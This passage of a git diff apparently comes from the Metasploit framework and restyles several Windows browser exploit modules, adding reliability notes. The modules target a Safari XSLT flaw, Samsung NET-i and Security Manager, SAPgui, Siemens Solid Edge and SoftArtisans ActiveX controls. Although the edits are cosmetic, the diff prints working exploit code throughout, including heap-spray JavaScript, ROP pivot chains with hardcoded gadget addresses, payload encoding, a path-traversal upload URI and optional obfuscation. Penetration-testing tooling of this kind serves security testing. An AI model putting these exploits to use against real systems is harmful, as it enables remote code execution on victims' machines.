2) + j_ret = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q| diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index 2c15697b5fbbc..9d138185aaf38 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -11,41 +11,46 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::WbemExec def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation', + 'Description' => %q{ This module exploits a file creation vulnerability in the Webkit - rendering engine. It is possible to redirect the output of a XSLT - transformation to an arbitrary file. The content of the created file must be - ASCII or UTF-8. The destination path can be relative or absolute. This module - has been tested on Safari and Maxthon. Code execution can be achieved by first - uploading the payload to the remote machine in VBS format, and then upload a MOF - file, which enables Windows Management Instrumentation service to execute the VBS. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Nicolas Gregoire'], - 'References' => - [ + rendering engine. It is possible to redirect the output of a XSLT + transformation to an arbitrary file. The content of the created file must be + ASCII or UTF-8. The destination path can be relative or absolute. This module + has been tested on Safari and Maxthon. Code execution can be achieved by first + uploading the payload to the remote machine in VBS format, and then upload a MOF + file, which enables Windows Management Instrumentation service to execute the VBS. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Nicolas Gregoire'], + 'References' => [ ['CVE', '2011-1774'], ['OSVDB', '74017'], ['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { + 'Payload' => { 'Space' => 2048, }, - 'Platform' => 'win', - 'Targets' => - [ - #Windows before Vista - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + # Windows before Vista + [ 'Automatic', {} ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2011-07-20')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2011-07-20', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -65,72 +70,71 @@ def on_request_uri(cli, request) return end - url = "http://" + url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" - content = <<-EOS - - -]> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + content = <<~EOS + + + ]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + EOS - #Clear the extra tabs + # Clear the extra tabs content = content.gsub(/^ {4}/, '') print_status("Sending #{self.name}") - send_response(cli, content, {'Content-Type'=>'application/xml'}) + send_response(cli, content, { 'Content-Type' => 'application/xml' }) handler(cli) - end def exploit # In order to save binary data to the file system the payload is written to a VBS # file and execute it from there via a MOF - @mof_name = rand_text_alpha(rand(5)+5) + ".mof" - @vbs_name = rand_text_alpha(rand(5)+5) + ".vbs" + @mof_name = rand_text_alpha(rand(5) + 5) + ".mof" + @vbs_name = rand_text_alpha(rand(5) + 5) + ".vbs" print_status("Encoding payload into vbs...") payload = generate_payload_exe diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 051dfe84dbc07..18c4be3467bcb 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -8,84 +8,90 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow", + 'Description' => %q{ This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX control installed - with the Samsung NET-i viewer 1.37. - - Specifically, when supplying a long string for the fname parameter to the - BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer - overflow due to the use of memcpy with an incorrect size, resulting in remote code - execution under the context of the user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + with the Samsung NET-i viewer 1.37. + + Specifically, when supplying a long string for the fname parameter to the + BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer + overflow due to the use of memcpy with an incorrect size, resulting in remote code + execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Luigi Auriemma', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-4333' ], [ 'OSVDB', '81453'], [ 'BID', '53193'], [ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ] ], - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00" + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00" }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Samsung NET-i viewer 1.37 # CNC_Ctrl.dll 1.5.1.1 [ 'Automatic', {} ], - [ 'IE 6 on Windows XP SP3', + [ + 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c, 'Offset' => '0x800 - code.length', } ], - [ 'IE 7 on Windows XP SP3', + [ + 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c, 'Offset' => '0x800 - code.length', } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-04-21', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-04-21', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ - return targets[1] #IE 6 on Windows XP SP3 + return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ - return targets[2] #IE 7 on Windows XP SP3 + return targets[2] # IE 7 on Windows XP SP3 else return nil end end - def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) @@ -101,7 +107,7 @@ def on_request_uri(cli, request) p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) js = <<-JS @@ -124,9 +130,9 @@ def on_request_uri(cli, request) } JS - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) - #obfuscate on demand + # obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) @@ -153,8 +159,6 @@ def on_request_uri(cli, request) html = html.gsub(/^ {4}/, '') print_status("Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end - diff --git a/modules/exploits/windows/browser/samsung_security_manager_put.rb b/modules/exploits/windows/browser/samsung_security_manager_put.rb index b76fb7326235e..0a9a9cafc3e37 100644 --- a/modules/exploits/windows/browser/samsung_security_manager_put.rb +++ b/modules/exploits/windows/browser/samsung_security_manager_put.rb @@ -10,36 +10,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper - def initialize(info={}) - super(update_info(info, - 'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", - 'Description' => %q{ - This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481 - by exploiting the vulnerability against the client-side. This exploit has been tested successfully using - IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally - a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", + 'Description' => %q{ + This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481 + by exploiting the vulnerability against the client-side. This exploit has been tested successfully using + IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally + a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'mr_me ', # AWAE training 2016 ], - 'References' => - [ + 'References' => [ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4 + 'Platform' => 'win', + 'Targets' => [ + [ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4 ], - 'DisclosureDate' => '2016-08-05', - 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + 'DisclosureDate' => '2016-08-05', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) + ] + ) end # this is because String.fromCharCode has a max of 65535 func args @@ -67,10 +74,9 @@ def encode_js(string) # tested on Chrome v50.0.2661.102 (latest release) # tested on IE v11.0.9600.18314 (latest) def on_request_uri(cli, request) + js_name = rand_text_alpha(rand(10) + 5) + '.js' - js_name = rand_text_alpha(rand(10)+5) + '.js' - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name @@ -81,8 +87,8 @@ def on_request_uri(cli, request) # dont exploit again otherwise we get a zillion shells return if session_created? or @exploited - jsp_name = rand_text_alpha(rand(10)+5) + '.jsp' - exe_name = rand_text_alpha(rand(10)+5) + '.exe' + jsp_name = rand_text_alpha(rand(10) + 5) + '.jsp' + exe_name = rand_text_alpha(rand(10) + 5) + '.exe' # clean just the jsp, because the exe dropper will be in use register_files_for_cleanup("../../webapps/admin/#{jsp_name}") @@ -105,7 +111,7 @@ def on_request_uri(cli, request) encoded_jsp = encode_js(jsp) # targets - jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}" + jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}" upload_uri = "http://localhost:8161/admin/#{jsp_name}" # this code does the PUT, then uploads/exec native code and then cleans the XSS out :-> @@ -182,17 +188,17 @@ def on_request_uri(cli, request) js_content.obfuscate(memory_sensitive: true) end - print_status("Sending javascript...") - @exploited = true - send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' }) - return + print_status("Sending javascript...") + @exploited = true + send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' }) + return end if datastore['OBFUSCATE'] - js_content = ::Rex::Exploitation::JSObfu.new(js_content) - js_content.obfuscate(memory_sensitive: true) - onlick = ::Rex::Exploitation::JSObfu.new(onlick) - onlick.obfuscate(memory_sensitive: true) + js_content = ::Rex::Exploitation::JSObfu.new(js_content) + js_content.obfuscate(memory_sensitive: true) + onlick = ::Rex::Exploitation::JSObfu.new(onlick) + onlick.obfuscate(memory_sensitive: true) end # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb index f76b891fde4f8..ecb4f4f513cfb 100644 --- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb +++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Siemens Unigraphics Solutions - Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled - with SAPgui. When passing an overly long string the SaveViewToSessionFile() - method, arbitrary code may be executed. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled + with SAPgui. When passing an overly long string the SaveViewToSessionFile() + method, arbitrary code may be executed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-4475' ], [ 'OSVDB', '53066' ], - [ 'US-CERT-VU','985449' ], + [ 'US-CERT-VU', '985449' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], - 'DisclosureDate' => '2009-03-31', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-03-31', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -59,22 +64,22 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) + nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2) # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) randnop = rand_text_alpha(rand(100) + 1) content = %Q| diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index cf0ba290120ed..f7539257ec58d 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -8,9 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "9.0", @@ -18,64 +18,68 @@ class MetasploitModule < Msf::Exploit::Remote # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}" - #}) - - def initialize(info={}) - super(update_info(info, - 'Name' => "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", - 'Description' => %q{ - This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product. - The vulnerability exists on several APIs provided by the control, where user supplied input - is handled as a memory pointer without proper validation, allowing an attacker to read and - corrupt memory from the target process. This module abuses the methods NumChildren() and - DeleteItem() in order to achieve memory info leak and remote code execution respectively. - This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1, - using Solid Edge 10.4. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product. + The vulnerability exists on several APIs provided by the control, where user supplied input + is handled as a memory pointer without proper validation, allowing an attacker to read and + corrupt memory from the target process. This module abuses the methods NumChildren() and + DeleteItem() in order to achieve memory info leak and remote code execution respectively. + This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1, + using Solid Edge 10.4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'rgod ', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'OSVDB', '93696' ], [ 'EDB', '25712' ] ], - 'Payload' => - { + 'Payload' => { 'Space' => 906, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Jutil.dll 104.0.0.82 # SEListCtrlX 104.0.0.82 [ 'Automatic', {} ], - [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], - [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], - [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], - [ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ] + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-05-26', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-05-26', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def junk @@ -83,7 +87,7 @@ def junk end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' @@ -233,7 +237,7 @@ def ie9_spray(t, p) end def ie8_spray(t, p) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(t.arch)) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) randnop = rand_text_alpha(rand(100) + 1) @@ -310,7 +314,7 @@ def ie8_spray(t, p) end def ie6_spray(t, p) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(t.arch)) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) randnop = rand_text_alpha(rand(100) + 1) @@ -348,7 +352,7 @@ def ie_heap_spray(my_target, p) js = ie6_spray(my_target, p) end - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -363,17 +367,17 @@ def ie_heap_spray(my_target, p) def get_windows_xp_payload fake_memory = [ - junk, # junk # 0c0c0c0c - 0x0c0c0c0c, # Dereference # 0c0c0c10 - 0x0c0c0c0c, # Dereference # 0c0c0c14 - 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 - 0x0c0c0c24, # Dereference # 0c0c0c1c - 0x0c0c0c28, # Dereference # 0c0c0c20 - junk, # junk # 0c0c0c24 - junk, # junk # 0c0c0c28 - 0x0c0c0c0c, # Dereference # 0c0c0c2c - 0x0c0c0c30, # Dereference # 0c0c0c30 - 0x0c0c0c38, # new eip # 0c0c0c34 + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c30, # Dereference # 0c0c0c30 + 0x0c0c0c38, # new eip # 0c0c0c34 ].pack("V*") p = fake_memory + payload.encoded @@ -383,26 +387,25 @@ def get_windows_xp_payload def get_windows_msvcrt_payload fake_memory = [ - junk, # junk # 0c0c0c0c - 0x0c0c0c0c, # Dereference # 0c0c0c10 - 0x0c0c0c0c, # Dereference # 0c0c0c14 - 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 - 0x0c0c0c24, # Dereference # 0c0c0c1c - 0x0c0c0c28, # Dereference # 0c0c0c20 - junk, # junk # 0c0c0c24 - junk, # junk # 0c0c0c28 - 0x0c0c0c0c, # Dereference # 0c0c0c2c - 0x0c0c0c3c, # Dereference # 0c0c0c30 - 0x77c21ef4, # ppr msvcrt # 0c0c0c34 - 0x77c15ed5, # xchg eax,esp # ret (msvcrt) - 0x0c0c0c34 # eax value # 0c0c0c3c + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c3c, # Dereference # 0c0c0c30 + 0x77c21ef4, # ppr msvcrt # 0c0c0c34 + 0x77c15ed5, # xchg eax,esp # ret (msvcrt) + 0x0c0c0c34 # eax value # 0c0c0c3c ].pack("V*") - return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'}) + return generate_rop_payload('msvcrt', payload.encoded, { 'pivot' => fake_memory, 'target' => 'xp' }) end def get_payload(t) - # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt @@ -449,17 +452,17 @@ def exec_trigger def get_trigger(t) case t['Rop'] - when :jutil - js = info_leak_trigger - else - js = exec_trigger + when :jutil + js = info_leak_trigger + else + js = exec_trigger end return js end def load_exploit_html(my_target) - p = get_payload(my_target) + p = get_payload(my_target) js = ie_heap_spray(my_target, p) trigger = get_trigger(my_target) @@ -481,7 +484,7 @@ def load_exploit_html(my_target) def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) @@ -495,6 +498,6 @@ def on_request_uri(cli, request) html = load_exploit_html(my_target) html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb index a102b2abbc729..318bb84d456a9 100644 --- a/modules/exploits/windows/browser/softartisans_getdrivename.rb +++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'SoftArtisans XFile FileManager ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'SoftArtisans XFile FileManager ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control - (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method - an attacker may be able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method + an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-1682' ], [ 'OSVDB', '47794' ], [ 'US-CERT-VU', '914785' ], [ 'BID', '30826' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2008-08-25', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-08-25', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -59,22 +64,22 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) + nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) randnop = rand_text_alpha(rand(100) + 1) content = %Q| diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb index a0b1ee03c6b4d..35be0355e198d 100644 --- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb +++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb @@ -9,47 +9,52 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def 